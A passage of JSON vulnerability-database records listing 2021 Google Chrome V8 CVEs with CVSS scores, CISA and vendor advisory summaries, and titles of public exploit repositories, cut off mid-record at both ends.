"2022-08-10T17:26:47", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Chromium V8 Type Confusion Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-30551", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "Information disclosure in Google Chrome that exists due to excessive data output in core.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chrome Information Leakage", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37976"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-37976", "href": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-08-10T17:26:47", "description": "Google Chrome use-after-free error within the V8 browser engine.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chrome Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-37975", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "cisa": [{"lastseen": "2021-07-07T18:11:00", "description": "Google has released Chrome version 91.0.4472.114 for Windows, Mac, and Linux. This version addresses vulnerabilities that an attacker could exploit to take control of an affected system. One of these vulnerabilities\u2014CVE-2021-30554\u2014has been detected in exploits in the wild.\n\nCISA encourages users and administrators to review the [Chrome Release Note](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/18/google-releases-security-updates-chrome>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-18T00:00:00", "type": "cisa", "title": "Google Releases Security Updates for Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30554"], "modified": "2021-06-18T00:00:00", "id": "CISA:D060813248AE96F3F62B7F67A176132F", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/18/google-releases-security-updates-chrome", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-26T18:12:11", "description": "Google has released Chrome version 91.0.4472.164 for Windows, Mac, and Linux. This version addresses vulnerabilities that an attacker could exploit to take control of an affected system. One of these vulnerabilities\u2014CVE-2021-30563\u2014has been detected in exploits in the wild.\n\nCISA encourages users and administrators to review the [Chrome Release Note](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/16/google-releases-security-updates-chrome>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-16T00:00:00", "type": "cisa", "title": "Google Releases Security Updates for Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-07-16T00:00:00", "id": "CISA:67D945E5ECA0CDAAE641683ED29CBC30", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/16/google-releases-security-updates-chrome", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-26T18:14:36", "description": "Google has released Chrome version 94.0.4606.61 for Windows, Mac, and Linux. This version addresses a vulnerability\u2014CVE-2021-37973\u2014that an attacker could exploit to take control of an affected system. An exploit for this vulnerability exists in the wild.\n\nCISA encourages users and administrators to review the [Chrome Release Note](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html >) and apply the necessary update as soon as possible.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/09/24/google-releases-security-updates-chrome>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-09-24T00:00:00", "type": "cisa", "title": "Google Releases Security Updates for Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-09-24T00:00:00", "id": "CISA:A18F08DE3E2F1C8CB8076BD5F052EFA3", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/09/24/google-releases-security-updates-chrome", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-09T14:01:02", "description": "Google has released Chrome version 91.0.4472.101 for Windows, Mac, and Linux. This version addresses vulnerabilities that an attacker could exploit to take control of an affected system. One of these vulnerabilities\u2014[CVE-2021-30551](<https://vulners.com/cve/CVE-2021-30551>)\u2014has been detected in exploits in the wild.\n\nCISA encourages users and administrators to review the [Chrome Release Note](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/10/google-releases-security-updates-chrome>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-10T00:00:00", "type": "cisa", "title": "Google Releases Security Updates for Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-10T00:00:00", "id": "CISA:F9916EF5EF9E126FF62CF4162B96669F", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/10/google-releases-security-updates-chrome", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:29:28", "description": "A remote code execution vulnerability exists in Google Chrome Browser V8. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-17T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Browser V8 Remote Code Execution (CVE-2021-30563)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2022-01-17T00:00:00", "id": "CPAI-2021-1027", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:29:27", "description": "A remote code execution vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-16T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Remote Code Execution (CVE-2021-21224)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2022-01-16T00:00:00", "id": "CPAI-2021-0952", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:33:08", "description": "A remote code execution vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-10T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Remote Code Execution (CVE-2021-21220)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-05-10T00:00:00", "id": "CPAI-2021-0276", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-30T14:44:16", "description": "A use-after-free vulnerability exists in Google Chrome Browser, Successful exploitation of this vulnerability could allow a remote attacker to potentially perform a sandbox escape via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2022-03-30T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Browser Use-After-Free (CVE-2021-37973)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2022-03-30T00:00:00", "id": "CPAI-2021-1116", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:32:09", "description": "A heap corruption vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-26T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Heap Corruption (CVE-2021-30551)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-07-26T00:00:00", "id": "CPAI-2021-0484", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-21T14:47:50", "description": "A heap corruption vulnerability exists in Google Chrome. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-31T00:00:00", "type": "checkpoint_advisories", "title": "Google Chrome Heap Corruption (CVE-2021-37975)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2022-11-21T00:00:00", "id": "CPAI-2021-1055", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2022-05-21T01:06:08", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-20T23:23:53", "type": "redhatcve", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2022-05-20T23:23:53", "id": "RH:CVE-2021-30563", "href": "https://access.redhat.com/security/cve/cve-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-21T01:05:17", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-20T23:19:21", "type": "redhatcve", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2022-05-20T23:19:21", "id": "RH:CVE-2021-37975", "href": "https://access.redhat.com/security/cve/cve-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2022-03-23T15:42:49", "description": "# CVE-2021-21224\nChrom...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-28T01:10:54", "type": "githubexploit", "title": "Exploit for Type Confusion in Google Chrome", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2022-02-15T06:55:14", "id": "CAE25BF5-2DB9-5000-8FF9-CC2EAA626ECE", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:23:33", "description": "# CVE-2021-21220\n\n...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T03:11:41", "type": "githubexploit", "title": "Exploit for Out-of-bounds Write in Google Chrome", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2022-08-18T03:33:04", "id": "FCD264DC-601D-5F11-BFEF-BB041077ABB8", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-04-01T06:07:29", "description": "# CVE-2021-30551\n\nMy exp for chrome V8...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-22T14:15:23", "type": "githubexploit", "title": "Exploit for Type Confusion in Google Chrome", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": 